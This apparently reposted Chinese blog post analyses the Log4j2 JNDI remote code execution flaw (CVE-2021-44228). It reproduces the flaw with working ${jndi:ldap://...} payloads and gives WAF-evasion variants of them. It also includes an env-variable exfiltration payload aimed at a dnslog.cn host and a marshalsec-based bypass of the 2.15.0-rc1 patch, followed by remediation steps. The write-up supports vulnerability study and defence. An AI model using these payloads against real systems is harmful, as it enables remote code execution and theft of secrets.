热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

代码审计log4j2_rce分析

前言 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月9日晚,各大公众号突然发布漏洞预警Apach

前言

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

2021年12月9日晚,各大公众号突然发布漏洞预警

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914、CVE-2021-44228)

影响版本&#xff1a;Apache Log4j 2.x <&#61; 2.15.0-rc1

2.15.0-rc1 存在补丁绕过&#xff0c;但是很鸡肋

复现

老规矩&#xff0c;先复现&#xff0c;再分析

1、pom.xml


  • Jdk8u111


       

           org.apache.logging.log4j

           log4j-core

           2.14.1

       

       

       

           org.apache.logging.log4j

           log4j-api

           2.14.1

       

2、启动JNDI注入Server

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1

3、漏洞代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {

   private static final Logger logger &#61; LogManager.getLogger(Test.class);

   public static void main(String[] args) {

       logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo&#61;}");

   }

}

4、效果



分析

1、调用栈

在利用过程中&#xff0c;因为我们明确知道要执行系统命令调用java.lang.Runtime#exec(java.lang.String[])&#xff0c;所以在exec方法处下断点&#xff0c;分析一下调用栈

运行获取调用栈

exec:485, Runtime (java.lang)
:-1, ExploitgJlWqLWBF3

newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)

newInstance:62, NativeConstructorAccessorImpl (sun.reflect)

newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)

newInstance:423, Constructor (java.lang.reflect)

newInstance:442, Class (java.lang)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)

getObjectInstance:189, DirectoryManager (javax.naming.spi)

c_lookup:1085, LdapCtx (com.sun.jndi.ldap)

p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)

lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)

lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)

lookup:94, ldapURLContext (com.sun.jndi.url.ldap)

lookup:417, InitialContext (javax.naming)

lookup:172, JndiManager (org.apache.logging.log4j.core.net)

lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)

lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)

resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)

substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)

substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)

replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)

format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)

format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)

toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)

toText:244, PatternLayout (org.apache.logging.log4j.core.layout)

encode:229, PatternLayout (org.apache.logging.log4j.core.layout)

encode:59, PatternLayout (org.apache.logging.log4j.core.layout)

directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)

tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)

append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)

tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)

callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)

callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)

callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)

callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)

processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)

log:481, LoggerConfig (org.apache.logging.log4j.core.config)

log:456, LoggerConfig (org.apache.logging.log4j.core.config)

log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)

log:161, Logger (org.apache.logging.log4j.core)

tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)

logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)

logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)

logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)

logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)

error:740, AbstractLogger (org.apache.logging.log4j.spi)

main:9, Test

最明显的漏洞触发点&#xff0c;就是在第16行lookup:172, JndiManager (org.apache.logging.log4j.core.net)

跟过去看下&#xff0c;典型的JNDI注入


2、Debug分析

既然已经知道调用栈了&#xff0c;那么就可以慢慢分析了

从logger.error为入口&#xff0c;跟进去后会前期有一系列的和我们分析无关的过程&#xff0c;主要就是各种常规包装和调用

toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)

encode:59, PatternLayout (org.apache.logging.log4j.core.layout)

directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)

tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)

append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)

tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)

callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)

callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)

callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)

callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)

processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)

log:481, LoggerConfig (org.apache.logging.log4j.core.config)

log:456, LoggerConfig (org.apache.logging.log4j.core.config)

log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)

log:161, Logger (org.apache.logging.log4j.core)

tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)

logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)

logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)

logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)

logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)

error:740, AbstractLogger (org.apache.logging.log4j.spi)

main:9, Test

然后一直到了

org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)&#xff0c;这个的主要功能就是通过遍历formatters一段一段的拼接输出的内容

当到了格式化我们传入的内容的时候&#xff0c;同样的会进行format处理&#xff0c;跟进发现会调用converter.format()&#xff0c;converter属于MessagePatternConverter类

所以就到了

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

分析代码&#xff0c;可以看到&#xff0c;如果写入的日志内容中包含${&#xff0c;就会将我们输入的内容从workingBuilder分割出来&#xff0c;赋值给value&#xff0c;然后调用config.getStrSubstitutor().replace()方法

跟进replace()&#xff0c;会调用substitute()方法

在org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List)方法中&#xff0c;会首先遍历字符&#xff0c;通过正则判断&#xff0c;获取${和}的位置&#xff0c;最后截取出${和}中间的内容&#xff0c;得到jndi:xxxx

然后再次递归调用substitute()&#xff0c;继续截取${}中的内容&#xff0c;主要是为了判断是否还有${}&#xff0c;后续还有分隔符的判断&#xff0c;就先不管了

一直跟到解析变量这&#xff0c;跟进这个函数

可以猜测resolver解析时支持的关键词有[date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j]&#xff0c;而我们这里利用的jndi:xxx后续就会用到JndiLookup这个解析器

跟进lookup&#xff0c;就是通过:分割前面的关键词jndi部分和后面的payload内容部分&#xff0c;再获取解析器&#xff0c;通过解析器去lookup

继续跟进org.apache.logging.log4j.core.lookup.JndiLookup#lookup&#xff0c;会初始化JNDI客户端&#xff0c;继续调用lookup

再跟进就是非常常规的JNDI注入点了&#xff0c;分析也到此结束



总结

总结一下整个分析过程&#xff0c;也很简单

  1. 先判断内容中是否有${}&#xff0c;然后截取${}中的内容&#xff0c;得到我们的恶意payload jndi:xxx

  2. 后使用:分割payload&#xff0c;通过前缀来判断使用何种解析器去lookup

  3. 支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j&#xff0c;可以研究下其他的&#xff0c;说不定有文章可做


一个小坑

网上有各种百度、icloud等大厂商被打的情况&#xff0c;但是最开始一直认为只有logger.error()才会触发&#xff0c;所以百思不得其解&#xff0c;难道用户搜索的所有内容都会被百度用logger.error()记录下来&#xff1f;很明显这是不可能的啊&#xff01;&#xff01;&#xff01;

后面研究了半天&#xff0c;忽略了第一句话

此次漏洞触发条件为只要外部用户输入的数据会被日志记录&#xff0c;即可造成远程代码执行。

只要输入会被记录&#xff0c;就存在这个问题&#xff1b;什么情况下会记录呢&#xff1f;主要代码还是在

一直跟到最后&#xff0c;intLevel >&#61; level.intLevel()为false&#xff0c;intLevel为我们使用的INFO等级的值200&#xff0c;level.intLevel()则为当前日志记录等级ERROR的值400

这也是为什么log4j默认情况下只会记录error和fatal的日志&#xff0c;如下图&#xff0c;所以我们测试的时候只有logger.error和fatal的时候才会触发。

因此其他日志等级也不是不能触发&#xff0c;修改一下日志记录等级&#xff0c;让它能够记录下来我们输入的payload&#xff0c;就可以触发漏洞了

import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

import org.apache.logging.log4j.core.config.Configurator;

public class Test {

   private static Logger logger &#61; LogManager.getLogger(Test.class);

   public static void main(String[] args) {

       // 第一个参数 "Test" 为类名

       Configurator.setLevel("Test", Level.INFO);

    logger.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo&#61;}");

   }

}



常规绕过

现在很多WAF都是检测是否存在jndi:等关键词来判断&#xff0c;这个很明显拦得了一时&#xff0c;拦不了一世啊&#xff01;&#xff01;&#xff01;

通过上面的分析&#xff0c;我们也看到了有很多其他的解析器可用&#xff0c;包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j&#xff0c;还有分隔符啥的&#xff0c;结合起来可以绕过大多数常见的WAF了。

1、多个${}执行流程

先来分析一下多个${}的执行流程&#xff0c;Payload举例如下&#xff1a;

${aaa:${bbb:ccc}dd}${ee:ff}

当识别到多个${}时&#xff0c;准备来说是识别到多个${时&#xff0c;主要分为两种情况&#xff1a;

a、当属于嵌套类型时&#xff0c;比如${${}}&#xff0c;参数nestedVarCount会执行&#43;1操作&#xff0c;表示存在嵌套&#xff0c;防止找错闭合时用的}&#xff0c;会先处理内部的${}&#xff0c;再将处理结果返回后继续处理${} &#xff1b;具体的原因&#xff0c;就是因为会递归调用substitute()&#xff0c;所以会先把内部的处理完

b、当属于并列类型时&#xff0c;比如${}${}&#xff0c;会依次处理${}&#xff1b;因为他一次只会提取一整个${}

2、分隔符

org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute()里处理完${}后&#xff0c;就会有一部分的分隔符处理&#xff0c;一个是valueEscapeDelimiterMatcher [:\-]&#xff0c;另一个是valueDelimiterMatcher [:-]

先来看第一个valueEscapeDelimiterMatcher&#xff0c;payload ${aa:\\-bb}

从下图可以看出来&#xff0c;就是给 :\- 中的 \ 去掉了变成了:-&#xff0c;好像是没啥用

再来看看valueDelimiterMatcher&#xff0c;payload ${aa:-bb}

从下面可以看出来&#xff0c;被:-分割成了前后两部分&#xff0c;前面的部分赋值给varName&#xff0c;后面部分赋值给varDefaultValue&#xff1b;


  • varName会被传入到resolveVariable()进行解析&#xff0c;如果没有协议什么的&#xff0c;就会返回null

  • 如果resolveVariable()返回值为null&#xff0c;varDefaultValue在后续的过程中也会递归调用substitute

最后会返回varDefaultValue的值


3、其他解析器功效

上面分析我们也注意到了&#xff0c;有多个解析协议可用&#xff0c;包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j&#xff0c;我们来分析一下作用

可以下断点到org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable的resolver.lookup(event, variableName)这一行&#xff0c;然后动态执行看效果&#xff1b;比如


解析协议

说明

date:

日期时间&#xff08;详情org.apache.logging.log4j.core.lookup.DateLookup#lookup&#xff09;

java:

一些JVM的信息&#xff08;可用参数version、runtime、vm、os、hw、locale&#xff0c;详情org.apache.logging.log4j.core.lookup.JavaLookup#lookup&#xff09;

marker:

返回event.getMarker()&#xff0c;不知道具体干啥的

ctx:key

返回event.getContextData().getValue(key)&#xff0c;就是获取上下文的数据

lower:KEY

返回字符串小写值

upper:key

返回字符串大写值

jndi:

JNDI注入利用点&#xff0c;不多说了

main:key

返回((MapMessage) event.getMessage()).get(key)&#xff0c;也是获取一些变量值

jvmrunargs:

没搞懂。。。

sys:key

返回一些系统属性&#xff1a;System.getProperty(key)

env:key

返回System.getenv(key)

log4j:key

返回一些log4j的配置信息&#xff0c;可用值configLocation、configParentLocation

4、绕过思路

我们已经知道了${}的执行流程&#xff0c;也知道了分隔符怎么处理的&#xff0c;又知道了其他协议的解析返回值&#xff0c;那么就可以构造payload来绕过了&#xff0c;举一些例子

  • 原始payload

${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo&#61;}

  • 一些绕过paylioad

${${a:-j}ndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo&#61;}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo&#61;}

${${lower:jn}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo&#61;}

${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo&#61;}

${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo&#61;}

5、奇淫技巧

刚才分析了其他解析器功效&#xff0c;通过sys和env协议&#xff0c;结合jndi可以读取到一些环境变量和系统变量&#xff0c;特定情况下可能可以读取到系统密码

举个例子

${jndi:ldap://${env:LOGNAME}.eynz6t.dnslog.cn}

6、2.15.0-rc1补丁绕过

LOG4J2-3201 Commit

和之前一样&#xff0c;直接来到org.apache.logging.log4j.core.layout.PatternLayout.PatternFormatterPatternSerializer#toSerializable&#xff1b;熟悉的遍历formatter拼接输出内容

到了拼接我们自定义内容的部分的时候&#xff0c;跟进会调用converter.format&#xff0c;可以看到这里的converter类已经变成了MessagePatternConverter.SimpleMessagePatternConverter&#xff0c;SimpleMessagePatternConverter是MessagePatternConverter的一个内部类

跟进&#xff0c;发现会调用((StringBuilderFormattable) msg).formatTo(toAppendTo)

再跟进formatTo&#xff0c;可以看出就是直接拼接字符串&#xff0c;并不会对包含有特殊内容${}的字符串进行处理

看着是没问题了&#xff0c;但是发现在MessagePatternConverter中还有一个内部类LookupMessagePatternConverter&#xff0c;这个类会对${的内容进行特殊处理。

但是怎么样才能让converter的类变成LookupMessagePatternConverter&#xff0c;而不是SimpleMessagePatternConverter呢&#xff1f;

在newInstance这个初始化配置函数的地方下个断点&#xff0c;发现必须要满足2个条件&#xff0c;才能使用LookupMessagePatternConverter这个converter类

所以这也是补丁绕过比较鸡肋的地方&#xff0c;需要自己手动修改配置&#xff0c;正常人会故意这么写吗&#xff1f;

为了分析绕过&#xff0c;我们只能手动配置了。。。

分析上面需要满足的2个条件&#xff1a;

a、lookups为true&#xff0c;lookups的值是通过loadLookups(options)这个函数来获得的&#xff0c;分析一下这个函数&#xff0c;只要options这个字符串数组包含lookups即可

b、需要一个config的实例&#xff0c;属于org.apache.logging.log4j.core.config.DefaultConfiguration这个类&#xff0c;默认不为null

尝试了各种方法修改配置都不行

log4j2.formatMsgNoLookups&#61;false
log4j2.formatMsgLookups&#61;true

所以采用了一个暴力的方法&#xff0c;就是在调试的时候动态修改options变量的值

options &#61; new String[]{"lookups"}

可以看到&#xff0c;我们修改过后&#xff0c;再次来到converter.format(event, buf)&#xff0c;此时converter属于MessagePatternConverter.LookupMessagePatternConverter类了&#xff0c;目标达成

跟进也是我们想要的结果&#xff0c;对${进行定位判断

跟进replaceIn&#xff0c;就又到了常规的substitute了&#xff0c;接下来几步就不再次分析了

上面这么多都是解决配置问题&#xff0c;让它使用到我们想要的converter类

后面都是和之前类似差不多的&#xff0c;一直到了org.apache.logging.log4j.core.net.JndiManager#lookup&#xff0c;可以看出来加了很大一串try...catch...对我们的payload进行判断&#xff0c;一有不对劲的地方就return null

还是分析一下各个限制

变量

allowedProtocols

[java, ldap, ldaps]

allowedHosts

[localhost, 127.0.0.1, d4m1tsdeMacBook-Pro.local, fe80:0:0:0:511a:1574:bca8:fa1b%utun3, fe80:0:0:0:5f4b:9388:9617:a34f%utun2, fe80:0:0:0:da80:893a:2c2b:22c9%utun1, fe80:0:0:0:4936:2ec2:ac06:59d0%utun0, fe80:0:0:0:b853:76ff:fec8:ca3a%llw0, fe80:0:0:0:b853:76ff:fec8:ca3a%awdl0, fe80:0:0:0:aede:48ff:fe00:1122%en5, fe80:0:0:0:1421:ea1:4520:c8ab%en0, 192.168.0.106, fe80:0:0:0:0:0:0:1%lo0, 0:0:0:0:0:0:0:1]

allowedClasses

[java.lang.Boolean, java.lang.Byte, java.lang.Character, java.lang.Double, java.lang.Float, java.lang.Integer, java.lang.Long, java.lang.Short, java.lang.String]

看似无懈可击&#xff0c;但是却有一个很严重的问题

如果出现URISyntaxException异常&#xff0c;就会直接执行catch&#xff0c;然后就到了this.context.lookup(name)&#xff0c;还是存在JNDI注入

所以我们现在的绕过想法&#xff0c;就是想办法让211行的URI uri &#61; new URI(name);抛出URISyntaxException

分析一下这个报错&#xff0c;就可以发现触发的方式还是挺多的

也可以网上找找&#xff0c;比如&#xff1a;

试一下

所以绕过方法&#xff1a;

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/ #Exploit" 8088
python3 -m http.server 8000

# 127.0.0.1 - - [12/Dec/2021 14:04:04] "GET /Exploit.class HTTP/1.1" 200 -

${jndi:ldap://127.0.0.1:8088/ Exploit}

结果&#xff0c;绕过成功


7、2.15.0-rc2修复

Handle URI exception Commit

从github上提交的代码&#xff0c;可以看出给catch没有return null的问题修复了

暂时还没有好的绕过思路&#xff0c;所以先这样吧

影响范围

srping-boot-strater-log4j2
Apache Solr

Apache Flink

Apache Druid

Apache Struts2

ElasticSearch

Flume

Dubbo

JedisLogstash

Kafka

...

更多参考&#xff1a;https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p&#61;1


修复建议


  1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本

  2. 升级JDK版本&#xff0c;建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本&#xff0c;从根源上杜绝大部分的JNDI注入


临时措施

Log4j 2.15.0 需要Java 8&#xff0c;因此使用Java 7的企业需要先升级才能更新到 Log4j 的补丁版本。

1、2.10.0 及以上的版本


  1. 在jvm参数中添加 -Dlog4j2.formatMsgNoLookups&#61;true

  2. 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true

  3. 创建log4j2.component.properties文件&#xff0c;文件中增加配置log4j2.formatMsgNoLookups&#61;true


2、2.7 及以上的版本


  1. 在PatternLayout配置中使用%m{nolookups}


3、所有版本


  1. 限制受影响应用对外访问互联网

  2. 从log4j-core.jar文件中删除JndiLookup JndiManager classes

4、安全防护产品

a、如果紧急救援防护&#xff0c;可以接入创宇盾。

b、如果漏洞监测验证&#xff0c;可以使用Scanv MAX。


推荐阅读
  • 在Java Web服务开发中,Apache CXF 和 Axis2 是两个广泛使用的框架。CXF 由于其与 Spring 框架的无缝集成能力,以及更简便的部署方式,成为了许多开发者的首选。本文将详细介绍如何使用 CXF 框架进行 Web 服务的开发,包括环境搭建、服务发布和客户端调用等关键步骤,为开发者提供一个全面的实践指南。 ... [详细]
  • 本文深入探讨了如何利用Maven高效管理项目中的外部依赖库。通过介绍Maven的官方依赖搜索地址(),详细讲解了依赖库的添加、版本管理和冲突解决等关键操作。此外,还提供了实用的配置示例和最佳实践,帮助开发者优化项目构建流程,提高开发效率。 ... [详细]
  • Web开发框架概览:Java与JavaScript技术及框架综述
    Web开发涉及服务器端和客户端的协同工作。在服务器端,Java是一种优秀的编程语言,适用于构建各种功能模块,如通过Servlet实现特定服务。客户端则主要依赖HTML进行内容展示,同时借助JavaScript增强交互性和动态效果。此外,现代Web开发还广泛使用各种框架和库,如Spring Boot、React和Vue.js,以提高开发效率和应用性能。 ... [详细]
  • Amoeba 通过优化 MySQL 的读写分离功能显著提升了数据库性能。作为一款基于 MySQL 协议的代理工具,Amoeba 能够高效地处理应用程序的请求,并根据预设的规则将 SQL 请求智能地分配到不同的数据库实例,从而实现负载均衡和高可用性。该方案不仅提高了系统的并发处理能力,还有效减少了主数据库的负担,确保了数据的一致性和可靠性。 ... [详细]
  • 本文详细介绍了如何在 Linux 系统上安装 JDK 1.8、MySQL 和 Redis,并提供了相应的环境配置和验证步骤。 ... [详细]
  • 使用ArcGIS for Java和Flex浏览自定义ArcGIS Server 9.3地图
    本文介绍了如何在Flex应用程序中实现浏览自定义ArcGIS Server 9.3发布的地图。这是一个基本的入门示例,适用于初学者。 ... [详细]
  • 本文介绍了如何使用Java和PDFBox库根据坐标值对PDF文件进行局部切割的方法。 ... [详细]
  • 如何在Linux服务器上配置MySQL和Tomcat的开机自动启动
    在Linux服务器上部署Web项目时,通常需要确保MySQL和Tomcat服务能够随系统启动而自动运行。本文将详细介绍如何在Linux环境中配置MySQL和Tomcat的开机自启动,以确保服务的稳定性和可靠性。通过合理的配置,可以有效避免因服务未启动而导致的项目故障。 ... [详细]
  • 在项目开发中,我们搭建了私有的Maven仓库服务器,以方便管理和下载所需的JAR包。然而,某些外部JAR包可能无法从公共Maven仓库获取,或者我们自行开发了一些仅供公司内部使用的插件,这些都需要上传到私有仓库中进行共享。本文详细介绍了如何使用Maven命令行工具将这些第三方JAR包部署至Nexus仓库服务器,确保团队成员能够轻松访问和使用这些资源。 ... [详细]
  • 深入解析Struts、Spring与Hibernate三大框架的面试要点与技巧 ... [详细]
  • 本文深入解析了通过JDBC实现ActiveMQ消息持久化的机制。JDBC能够将消息可靠地存储在多种关系型数据库中,如MySQL、SQL Server、Oracle和DB2等。采用JDBC持久化方式时,数据库会自动生成三个关键表:`activemq_msgs`、`activemq_lock`和`activemq_ACKS`,分别用于存储消息数据、锁定信息和确认状态。这种机制不仅提高了消息的可靠性,还增强了系统的可扩展性和容错能力。 ... [详细]
  • 在 CentOS 7 系统中安装 Scrapy 时遇到了一些挑战。尽管 Scrapy 在 Ubuntu 上安装简便,但在 CentOS 7 上需要额外的配置和步骤。本文总结了常见问题及其解决方案,帮助用户顺利安装并使用 Scrapy 进行网络爬虫开发。 ... [详细]
  • 在本地环境中部署了两个不同版本的 Flink 集群,分别为 1.9.1 和 1.9.2。近期在尝试启动 1.9.1 版本的 Flink 任务时,遇到了 TaskExecutor 启动失败的问题。尽管 TaskManager 日志显示正常,但任务仍无法成功启动。经过详细分析,发现该问题是由 Kafka 版本不兼容引起的。通过调整 Kafka 客户端配置并升级相关依赖,最终成功解决了这一故障。 ... [详细]
  • 深入解析HTTP网络请求API:从基础到进阶的全面指南
    本文全面解析了HTTP网络请求API,从基础到进阶,详细介绍了Android平台上的两种原生API——HttpUrlConnection和HttpClient。这两种API通过对底层Socket的封装,提供了高效、灵活的网络通信功能。文章不仅涵盖了基本的使用方法,还深入探讨了性能优化、错误处理和安全性等方面的高级主题,帮助开发者更好地理解和应用这些工具。 ... [详细]
  • php更新数据库字段的函数是,php更新数据库字段的函数是 ... [详细]
author-avatar
婉婷雅铃43
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有